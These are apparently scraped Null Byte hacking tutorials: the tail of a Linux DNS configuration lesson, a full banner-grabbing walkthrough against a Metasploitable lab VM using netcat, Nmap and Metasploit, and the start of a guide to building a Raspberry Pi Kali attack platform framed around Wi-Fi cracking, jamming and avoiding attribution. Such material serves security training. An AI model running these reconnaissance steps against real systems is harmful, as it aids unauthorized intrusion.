BackTrack. Type:bt > kwrite /etc/hostsThis will open the following file. Note that the default configuration in BackTrack has just the entries for localhost at 127.0.0.1 and then some notes on IPv6.We could add additional lines to this file to provide simple name resolution services. If we wanted to resolve the word "hacker" to a system on our internal network, we could simply add a line to our hosts file, such as:192.168.116.7 hackerWhen we save our/etc/hostsand type "hacker" into our browser, we will be directed to the IP 192.168.117.7.Step 2: /Etc/resolv.confThe primary file for pointing your system to a DNS server is the/etc/resolv.conf. Please note that the file name is similar to the English word resolve, but without the "e" at the end. It is here that we tell our system where to look for DNS services.Let's open it with kwrite.bt> kwrite /etc/resolv.confWhen we hit ENTER, kwrite opens the file as below.The format of this file is:nameserver IPaddressAs you can see, my/etc/resolv.confis pointing to a DNS server on my local network, 192.168.116.1. I can change this to point to any public DNS server by simply editing and deleting the internal IP address with that of a public DNS server, such as Comcast's at 75.75.75.75.If you have an internal DNS server, you would probably prefer to use it as it will give you faster responses, but people very often will put inbothan internal DNS server first and then a public DNS server, second. In this way, your system will check the internal DNS server first and if it doesn't find a listing on that DNS server, it will then progress to the public IP server and will hopefully find it there.I've edited my/etc/resolv.confto include the public DNS server for Comcast at 75.75.75.75. All I do now isSavethe/etc/resolv.conffile and my system will look to my internal DNS server first and then to the Comcast public DNS server, if it doesn't find the name in my private DNS server.Step 3: /Etc/nsswitch.confLastly, we have the/etc/nsswitch.conffile. Here is where we tell our system the order of where to look for name resolution. We have opened it with kwrite and have displayed it below.Note the line that begins with "hosts". This line line tells the system the order of which to search for name resolution. The system will try each in order until it finds the name it is looking for. Let's examine each separately.files- Refers to the/etc/hostsfile. Generally, we want the system to look here first as it is the fastest.mdns4_minimal- This is a legacy multi-cast DNS protocol.dns- This tells the system to go to the/etc/resolv.conffor find a DNS server.[NOTFOUND=return]- This indicates that if themdns_minimalsearch returns NOTFOUND, this should be treated as authoritative and the search ceases.mdns4- This is multicast DNS, a relatively rare DNS-like protocol for small networks without DNS servers.Stay tuned for moreLinux Basics for the Aspiring Hacker.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseWwwimage via ShutterstockRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:How to Spoof DNS on a LAN to Redirect Traffic to Your Fake WebsiteHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:Linux Basics for the Aspiring Hacker: Configuring ApacheHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Secure Your Computer with Norton DNSCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Quiksilver Pro El Salvador:Goodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IIGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker Training
Use Banner Grabbing to Aid in Reconnaissance & See What Services Are Running on the System Β« Null Byte :: WonderHowTo
As we've seen with other tools and utilities, administrators typically use certain things to do their job more efficiently, and those things are often abused by attackers for exploitation. After all, hacking is just the process of getting a computer to do things in unexpected ways. Today, we will be covering various methods to perform banner grabbing to learn more about the target system.Banner grabbing is a technique used to gather information about running services on a computer system. Banners refer to the messages on the host that usually provide a greeting or version information. An attacker can use banner data to their advantage by obtaining specific version numbers of services to aid inreconnaissanceandexploitation.Don't Miss:Conduct Recon on a Web Target with Python ToolsTo learn about banner grabbing, we will be usingMetasploitable 2as the target andKali Linuxas our local machine. In a terminal window, let's do a quickNmap scanon the target to see what's running:~# nmap 10.10.0.50 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-08 09:00 CDT Nmap scan report for 10.10.0.50 Host is up (0.0024s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:1D:09:55:B1:3B (Dell) Nmap done: 1 IP address (1 host up) scanned in 0.32 secondsMethod 1: TelnetThe first tool we'll use to do some banner grabbing istelnet. This unassuming little utility might not seem very useful when it comes topenetration testing, but its value lies in the fact that it's present on virtually any system.The syntax istelnet, followed by the IP address of the machine you wish to connect to, followed by the port number. We can use telnet to get version information forFTP, which runs on port 21:~# telnet 10.10.0.50 21 Trying 10.10.0.50... Connected to 10.10.0.50. Escape character is '^]'. 220 (vsFTPd 2.3.4)We can do the same forSSH, running on port 22:~# telnet 10.10.0.50 22 Trying 10.10.0.50... Connected to 10.10.0.50. Escape character is '^]'. SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1We can even use it to grab the banner of aweb server, which usually runs on port 80. Once connected, type something, and it will display some information for us. For instance. I typed "help" once connected:~# telnet 10.10.0.50 80 Trying 10.10.0.50... Connected to 10.10.0.50. Escape character is '^]'. help <html><head><title>Metasploitable2 - Linux</title></head><body> <pre> _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) | | | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started </pre> <ul> <li><a href="/twiki/">TWiki</a></li> <li><a href="/phpMyAdmin/">phpMyAdmin</a></li> <li><a href="/mutillidae/">Mutillidae</a></li> <li><a href="/dvwa/">DVWA</a></li> <li><a href="/dav/">WebDAV</a></li> </ul> </body> </html> Connection closed by foreign host.We can see it returns a tiny bit ofHTML, including what appear to bedirectories, plus a welcome banner on the system. We also get lucky with this one since it contains both an email and login credentials.Method 2: NetcatNow, we will perform banner grabbing withNetcat, a utility that is very common onLinux systemsand can beabused in all sorts of ways. We can use it to connect to certain ports and gather information.First, let's connect to the FTP service on port 21, just like we did with telnet:~# nc 10.10.0.50 21 220 (vsFTPd 2.3.4)We can do the same withSSHon port 22:~# nc 10.10.0.50 22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1And again on port 80:~# nc 10.10.0.50 80 hi <html><head><title>Metasploitable2 - Linux</title></head><body> <pre> _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) | | | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started </pre> <ul> <li><a href="/twiki/">TWiki</a></li> <li><a href="/phpMyAdmin/">phpMyAdmin</a></li> <li><a href="/mutillidae/">Mutillidae</a></li> <li><a href="/dvwa/">DVWA</a></li> <li><a href="/dav/">WebDAV</a></li> </ul> </body> </html>We can also utilize Netcat to communicate with the web server. For example, we can use theHEADmethod to get the header information about the server:~# nc 10.10.0.50 80 HEAD / HTTP/1.1 HTTP/1.1 400 Bad Request Date: Wed, 19 Jun 2019 18:28:12 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Connection: close Content-Type: text/html; charset=iso-8859-1Even though it was a bad request, we still got the exact version number ofApache.We can send aGETrequest as well, which will return the contents of the webpage:~# nc 10.10.0.50 80 GET / HTTP/1.1 HTTP/1.1 400 Bad Request Date: Wed, 19 Jun 2019 18:29:19 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 323 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address> </body></html>In this case, we still get a bad request, but this method can return HTML and other useful information.Method 3: CurlCurl, often stylized as cURL (Client URL), is a command-line tool used fortransferring data. It is most commonly used for HTTP, but it supports a wide variety of other protocols.We can also use curl to grab the banner of the web server. However, we don't need to specify the port number this time as we did with the previous tools:~# curl 10.10.0.50 <html><head><title>Metasploitable2 - Linux</title></head><body> <pre> _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) | | | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started </pre> <ul> <li><a href="/twiki/">TWiki</a></li> <li><a href="/phpMyAdmin/">phpMyAdmin</a></li> <li><a href="/mutillidae/">Mutillidae</a></li> <li><a href="/dvwa/">DVWA</a></li> <li><a href="/dav/">WebDAV</a></li> </ul> </body> </html>We can also use the-Iflag to fetch the HTTP header:~# curl -I 10.10.0.50 HTTP/1.1 200 OK Date: Wed, 19 Jun 2019 18:32:06 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.24 Content-Type: text/htmlThis time we get a200 OK, plus some information pertaining to thePHP version.Method 4: NmapThe next tool we can use to grab banners isNmap. When using service detection, Nmap will return information about the running service, such as a version number, but Nmap also has anNSE scriptthat can perform banner grabbing for us.Use the--scriptoption followed by the name of the script, in this case,banner:~# nmap --script banner 10.10.0.50 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-08 09:15 CDT Nmap scan report for 10.10.0.50 Host is up (0.0026s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp |_banner: 220 (vsFTPd 2.3.4) 22/tcp open ssh |_banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 23/tcp open telnet |_banner: \xFF\xFD\x18\xFF\xFD \xFF\xFD#\xFF\xFD' 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock |_banner: root@metasploitable:/# 2049/tcp open nfs 2121/tcp open ccproxy-ftp |_banner: 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.10.0.50] 3306/tcp open mysql | banner: >\x00\x00\x00\x0A5.0.51a-3ubuntu5\x00-\x00\x00\x00$&0_n-0L\x00, |_\xAA\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00... 5432/tcp open postgresql 5900/tcp open vnc |_banner: RFB 003.003 6000/tcp open X11 6667/tcp open irc | banner: :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostna |_me... 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:1D:09:55:B1:3B (Dell) Nmap done: 1 IP address (1 host up) scanned in 15.90 secondsThat gave us banners for several services, some easier to read than others.We can also narrow our focus to a specific port using the-pflag:~# nmap -sV --script banner 10.10.0.50 -p 80 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-08 09:25 CDT Nmap scan report for 10.10.0.50 Host is up (0.00065s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 MAC Address: 00:1D:09:55:B1:3B (Dell) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.76 secondsFor example, running this against port 80 gives us some information about the Apache web server.Method 5: MetasploitThe final banner-grabbing method we will explore isMetasploit. Metasploit has modules that will gather information about telnet, web servers,SMTP, and more.First, launch Metasploit by typingmsfconsolein the terminal. Then, we can use thesearchcommand on the msf5 prompt to find any modules relating to banner grabbing:msf5 > search banner Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/f5_bigip_virtual_server normal Yes F5 BigIP HTTP Virtual Server Scanner 1 auxiliary/scanner/imap/imap_version normal Yes IMAP4 Banner Grabber 2 auxiliary/scanner/pop3/pop3_version normal Yes POP3 Banner Grabber 3 auxiliary/scanner/smtp/smtp_version normal Yes SMTP Banner Grabber 4 auxiliary/scanner/telnet/lantronix_telnet_version normal Yes Lantronix Telnet Service Banner Detection 5 auxiliary/scanner/telnet/telnet_version normal Yes Telnet Service Banner Detection 6 exploit/multi/http/auxilium_upload_exec 2012-09-14 excellent Yes Auxilium RateMyPet Arbitrary File Upload Vulnerability 7 exploit/unix/webapp/openx_banner_edit 2009-11-24 excellent Yes OpenX banner-edit.php File Upload PHP Code Execution 8 exploit/unix/webapp/wp_easycart_unrestricted_file_upload 2015-01-08 excellent No WordPress WP EasyCart Unrestricted File Upload 9 exploit/windows/ftp/proftp_banner 2009-08-25 normal No ProFTP 2.9 Banner Remote Buffer OverflowThe first module we'll use will give us some information about telnet β€” load it with theusecommand:msf5 > use auxiliary/scanner/telnet/telnet_versionAnd we can take a look at theoptions:msf5 auxiliary(scanner/telnet/telnet_version) > options Module options (auxiliary/scanner/telnet/telnet_version): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier RPORT 23 yes The target port (TCP) THREADS 1 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the Telnet probe USERNAME no The username to authenticate asThe only thing we need to set for now is therhostsoption. Set it to the IP address of our target, and since this will remain the same for the next few modules, we can use thesetgcommand to set it globally:msf5 auxiliary(scanner/telnet/telnet_version) > setg rhosts 10.10.0.50 rhosts => 10.10.0.50Now, all we have to do isrunit:msf5 auxiliary(scanner/telnet/telnet_version) > run [+] 10.10.0.50:23 - 10.10.0.50:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login: [*] 10.10.0.50:23 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedWe can see it gave us a sort of jumbled banner, but again, we did get some credentials from it.Next, we can use thehttp_versionmodule to get some information about the web server. Load it up:msf5 auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/http/http_versionAnd take a look at the options:msf5 auxiliary(scanner/http/http_version) > options Module options (auxiliary/scanner/http/http_version): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.0.50 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual hostEverything seems good, so let's kick it off:msf5 auxiliary(scanner/http/http_version) > run [+] 10.10.0.50:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.24 ) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedThat gave us the Apache version number as well as the PHP version information from it.We can also scan for the SMTP version that's running. SMTP (Simple Mail Transfer Protocol) is a protocol used foremail communication. Load the module with:msf5 auxiliary(scanner/http/http_version) > use auxiliary/scanner/smtp/smtp_versionAnd check out the options:msf5 auxiliary(scanner/smtp/smtp_version) > options Module options (auxiliary/scanner/smtp/smtp_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.0.50 yes The target address range or CIDR identifier RPORT 25 yes The target port (TCP) THREADS 1 yes The number of concurrent threadsAgain, it seems good to go, so we can run the module:msf5 auxiliary(scanner/smtp/smtp_version) > run [+] 10.10.0.50:25 - 10.10.0.50:25 SMTP 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\x0d\x0a [*] 10.10.0.50:25 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedThat returns some information on the SMTP service on the system.Metasploit also has a couple of other useful scanners for the IMAP and POP3 protocols. These aren't set up on our target, but they work very similarly to the other modules we covered.How to Prevent Banner GrabbingBecause of the nature of how these services work, banner grabbing is difficult, but not impossible, to prevent. The obvious way to stop this type of attack is to limit the information the service broadcasts, but for a lot of services, it breaks their functionality. Simply disabling banners may provide the best defense against attackers searching for low-hanging fruit.Another method, which can be utilized for web servers, is to put aproxyin between the server and the internet, which will strip certain information or reformat headers to make detection more difficult. There are also programs available to hide this information from attackers, such asServerMaskandIIS Lockdown.Wrapping UpToday, we learned about banner grabbing and how it can be used by an attacker to gather information about the services running on a system. We explored a number of banner-grabbing methods, including using telnet, Netcat, curl, Nmap, and Metasploit. All of this information can be used for reconnaissance, and ultimately, better exploitation.Don't Miss:Website Spidering with WebScarabWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byIldefonso Polo/Unsplash; Screenshots by drd_/Null ByteRelatedHow To:Discover & Attack Services on Web Apps or Networks with SpartaHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:The Hacker MethodologyHack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:How to Fingerprint Web Servers Using HttprintHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2How To:The Five Phases of HackingHack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fNews:A US Release of Grab's 'Panic Button' Feature Could Mean Safer RidesHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHow To:Set Persistent Notifications for Apps on Your iPhoneHow To:Get Windows Phone-Style Notifications on Your Samsung Galaxy S4How To:Use export plug-ins in ApertureHack Like a Pro:Advanced Nmap for ReconnaissanceHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Advanced Penetration Testing - Part 1 (Introduction)How To:Prep Oats Overnight for Easy Grab-&-Go Breakfasts All WeekHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Give Your iPhone's Banner Alerts More Color to Identify Notification Types FasterHow To:Reply to Texts, Trash Emails, Snooze Reminders, & More with Interactive Notifications in iOS 8How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:AIDS Project Los AngelesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:The Avengers (2012) Poster and Fan ArtSpain:5 banks downgraded, Bankia seeks 19 billion euros in aidNews:FIX WINDOWS 7 SLOW STARTUP TIMES...Lock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:VMware source code leaked by Anonymous under the banner of The Pirate BayIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Site makeover!News:The Factory of Giving Banner Crafting ItemsNews:What Should You Have in Your First Aid Kit
How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux Β« Null Byte :: WonderHowTo
TheRaspberry Piis a credit card-sized computer that can crack Wi-Fi, clone key cards, break into laptops, and even clone an existing Wi-Fi network to trick users into connecting to the Pi instead. It can jam Wi-Fi for blocks, track cell phones, listen in on police scanners, broadcast an FM radio signal, andapparently even fly a goddamn missile into a helicopter.The key to this power is a massive community of developers and builders who contribute thousands of builds for the Kali Linux and Raspberry Pi platforms. For less than a tank of gas, aRaspberry Pi 3buys you a low-cost, flexible cyberweapon.A cyberweapon that fits anywhere? Name something else in your pocket that creates a fake AP in Czech.Image by SADMIN/Null ByteOf course, it's important to compartmentalize your hacking and avoid using systems that uniquely identify you, like customized hardware. Not everyone has access to a supercomputer or gaming tower, but fortunately one is not needed to have a solid Kali Linux platform.With over 10 million units sold, the Raspberry Pi can be purchased in cash by anyone with $35 to spare. This makes it more difficult to determine who is behind an attack launched from a Raspberry Pi, as it could just as likely be a state-sponsored attack flying under the radar or a hyperactive teenager in high school coding class.Thinking Like an AttackerThe Raspberry Pi has several unique characteristics that make it a powerful and easily accessible tool in a penetration tester's kit. In particular, the Pi is cheap and the components cost as little as a Lego set. Also, the Raspberry Pi is discreet; It's small, thin, and easy to hide. And thanks to running Kali Linux OS natively, it is flexible and able to run a broad range of hacking tools from badge cloners to Wi-Fi cracking scripts. By swapping the SD card and adding or removing components like apacket-injection capable wireless adapter, the Raspberry Pi can be customized to suit any situation.Raspberry Pi + projector = Kali on a huge screen.Image by SADMIN/Null ByteThe Raspberry Pi on OffenseFirst, it's important to manage your expectations and remain reasonable when selecting a Raspberry Pi as a hacking platform. The Raspberry Pi is not a super computer and doesn't have a tremendous amount of processing power. It's not well-suited to processor intensive tasks like brute-force WPA password cracking, or acting as a network attack as the connection is too slow to fool users. That being said, the Raspberry Pi is perfectly suited to many attack environments. We simply offload these tasks to bigger computers and use the Pi as a data collector.An active Raspberry Pi Wi-Fi jamming setup.Image by SADMIN/Null ByteIn my experience, the Raspberry Pi works exceptionally well as a Wi-Fi attack platform. Due to its small size and large library of Kali Linux-based attack tools, it's ideal for reconnaissance and attacking Wi-Fi networks. Our offensive Kali Linux build will be geared towards anonymous field auditing of wired and wireless networks.The Basic Components of Our Attack SystemHere are the basic components needed to build our Pi attack system, and why we need them. If you're just starting out,this excellent Raspberry Pi Kitfrom CanaKit includes most of what you need to get your Pi set up.Raspberry Pi: TheRaspberry Pi 3is the platform of these builds, coordinating and controlling all other components. Its low power consumption and flexible capabilities allow it to serve as a platform for running Linux-based operating systems besides Kali.Raspberry Pi 3.Image by SADMIN/Null ByteCommand and control (C2) wireless card: The purpose of the C2 wireless card is to automatically connect the Pi to the command AP (access point) such as your phone hotspot or home network. This allows remote control of the Pi discreetly or from a great distance via SSH (Secure Shell) or VNC (Virtual Network Computing). Fortunately for us, the Raspberry Pi 3 has a Wi-Fi card internally, but a wireless network adapter can also be added to a Raspberry Pi 2.Wireless attack card:: Our attack wireless card will be a Kali Linux-compatible Wi-Fi adapter capable of packet injection. This will be our attack surface and can be along-range,short-range, or directional antenna depending on attack requirements. You can find a greatguide to choosing one here.Don't Miss:Choosing a Wireless Adapter for HackingOS build cards: Themicro SD cardhosts the OS and brain of the computer and can be precisely configured for any desired environment. By creating customized cards, it is possible to rapidly change the configuration and function of a Raspberry Pi by simply swapping the card and components.Computer: You will also need a computer to download the firmware to load onto the micro SD card.Power supply: The Raspberry Pi uses a standard Micro-USB power supply, and nearly any Android phone charger or battery pack will work to power a Pi. This allows for a number of different battery configurations to suitlong-endurance reconnaissanceorcontinuously powered operations.My Raspberry Pi hacking kit.Image by SADMIN/Null ByteEthernet cable (optional): AnEthernet cableallows you to bypass wireless authentication by directly interfacing with local networks to which you have physical access. Specialized attacks likePoisonTapcan also take advantage of ethernet interfaces to infiltrate computers.Bluetooth keyboard (optional): ABluetooth keyboardis helpful for interfacing when you have an HDMI connection.Case (optional): Every Pi needsa case to protect it.Build ConsiderationsIn designing this tutorial, I considered two primary modes in which you would be operating the Raspberry Pi. In ouropen configuration, the Raspberry Pi is connected to a display via HDMI cord with inputs running through a wireless mouse and keyboard. In ourtactical configuration, you will use a laptop or smartphone to access the Raspberry Pi remotely via SSH. By connecting the Pi to our phone's hotspot or a nearby friendly AP, we can access the Raspberry Pi while still being able to use cellular data in the field.(Top) Lab configuration: Output over HDMI, input via Bluetooth keyboard. (Bottom) Tactical Configuration: Kali Linux via SSH.Images by SADMIN/Null ByteHow to Set Everything UpIn this guide, I'll show the steps needed to set up a Raspberry Pi 3 as a basic hacking platform with Kali Linux. I'll go over how to select a build to install, writing the disc image to a micro SD card, and the steps to run after first setting up your Pi. We'll update Kali Linux to the latest version to ensure everything works correctly, change the default SSH keys, and take care of some housekeeping like changing the admin password.Raspberry Pi in action connected to an HDMI output.Image by SADMIN/Null ByteAs a note, there are many ways to configure Kali on a Raspberry Pi 3. Some include touchscreens, some are completely headless (accessed via network connections without a keyboard or display), and others use the internal Wi-Fi card to create a hotspot for remote control of the Pi. In selecting this build, I discounted any designs that included a power-hungry and fragile touchscreen or additional hardware, and settled a version optimized for our two different C2 scenarios.Step 1: Download Kali Linux Image for the Raspberry PiHead toOffensive Securityand download the latest Kali Linux image for the Raspberry Pi. As of this writing, it is "RaspberryPi 2 / 3" on version 2.1.2.Step 2: Flash the Image to the Micro SD CardYou can use a tool likeApplePiBaker for MacorEtcherto load your Kali image onto your SD card, but sometimes these can result in errors. To prevent that, we'll cover how to do this via Terminal on a Mac. If you use Windows, you can useWin32 Disk Imagerto put your image on the card.On a Mac, before plugging in your SD card, run the following in Terminal:df -hThis will display a list of all the disks attached to your system. Attach your SD card and run the command again, and note the filesystem name of your SD card (it's the one that wasn't there before). It should look like "/dev/disk2s1" and you should be very careful not to mix this up in the next steps, since doing so could overwrite your hard drive.The available drives.Now, we'll use theddcommand to load the Kali image onto the card.Use "man dd" to see the rest of the operands for dd.First, let's unmount the partition so you can write to it with the following command, with "x" being the correct disk number:sudo diskutil unmount /dev/diskXNow we're ready to load Kali. Type, but don't run the command,sudo dd bs=1m if=and enter the location of the Kali Linux image we want to load onto the card. You can drag and drop the disk image into the window to show the file path. After that, type a space, thenof=/dev/rdiskand the number of the disk from before.If there is an "s" after the initial disk number (like rdisk2s1), do not include the "s" or following number. So, "rdisk2s1" should look like "rdisk2." Here's what it should look like altogether:sudo dd bs=1m if=LocationOfKaliImage of=/dev/rdiskXPress enter to begin the process, and note thatdddoes not provide any on-screen information unless there is an error or it finishes. To view the progress during the transfer, you can typeCtrl T. Wait for the process to complete. You'll know the process is complete when you see a readout of bytes transferred over the time the process ran.It will look like the 